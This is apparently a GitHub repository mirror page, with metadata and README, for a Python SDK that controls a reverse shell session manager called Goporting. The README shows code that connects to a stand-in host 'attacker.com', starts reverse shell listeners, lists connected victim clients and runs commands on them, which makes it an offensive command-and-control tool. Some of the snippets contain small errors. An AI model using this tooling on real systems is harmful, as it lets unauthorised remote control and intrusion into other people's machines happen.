https://github.com/threatcode/goporting-python
https://github.com/threatcode/goporting-python
python-reverse-shell reverse-engineering web-shell
Last synced: 5 months ago
JSON representation
- Host: GitHub
- URL: https://github.com/threatcode/goporting-python
- Owner: threatcode
- Created: 2023-10-03T08:57:19.000Z (about 2 years ago)
- Default Branch: master
- Last Pushed: 2025-05-02T23:14:35.000Z (8 months ago)
- Last Synced: 2025-05-03T00:23:22.781Z (8 months ago)
- Topics: python-reverse-shell, reverse-engineering, web-shell
- Language: Python
- Size: 27.3 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 22
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Goporting-Python
Python SDK for reverse shell sessions manager [Goporting v1.3.1](https://github.com/ThraetCode/Goporting)
## Install
```bash
pip install goporting-python
```
## Usage
### Connect to Goporting endpoint
```python
import goporting_python as pp
p = pp.Goporting("attacker.com", 7331)
```
### Create a reverse shell server
```python
server = p.create_server("0.0.0.0", 13339)
```
### Stop a reverse shell server
```python
server = servers[0]
server.delete()
```
### Get all available listening servers
```python
servers = p.get_servers()
for server in servers():
print(server)
```
### Get all online Clients of a server
```python
server = servers[0]
clients = server.get_clients()
for client in clients:
print(client)
```
### Execute a command on a client
```python
client = clients[0]
client.system("id")
```